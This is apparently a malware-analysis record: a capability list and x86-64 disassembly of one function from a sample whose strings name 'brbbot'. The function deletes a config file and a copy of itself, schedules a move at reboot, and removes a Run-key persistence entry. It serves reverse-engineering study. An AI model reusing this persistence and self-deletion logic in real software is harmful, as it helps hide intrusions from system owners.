Function at 0x140002550
Capabilities:
Delete file
Delete registry value
Get common file path
Move file
Persist via run registry key

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [0x140012008]
xor rax, rsp
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x150], 0
call fcn.1400044b0
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call fcn.1400044b0
xor ecx, ecx
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x150]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400025e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jle 0x140002793
movzx edi, ax
or edi, 0x80070000
jmp 0x140002793
xor edx, edx
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x288], rsi
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rcx, [rsp + 0x150]
mov edx, 0x5c
call fcn.140003dd0
lea rcx, [rsp + 0x40]
mov edx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x14000263f
cmp eax, 0x78
je 0x140002695
test eax, eax
jne 0x1400026a9
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x280], rbx
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea rdi, [rdx + rcx + 3]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1400026c7
mov edi, 0x8007000e
jmp 0x140002783
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x14000263f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jle 0x14000278b
movzx edi, ax
or edi, 0x80070000
jmp 0x14000278b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x40]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.140003720
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
mov rdx, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.140003940
lea rcx, str.brbconfig.tmp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rdx, [rsp + 0x30]
mov r9d, 0x20006
mov qword [rsp + 0x20], rdx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test eax, eax
je 0x140002764
jle 0x140002783
movzx edi, ax
or edi, 0x80070000
jmp 0x140002783
mov rcx, qword [rsp + 0x30]
lea rdx, str.brbbot
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor edi, edi
mov rbx, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400027a3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140003590
add rsp, 0x270
pop rdi
ret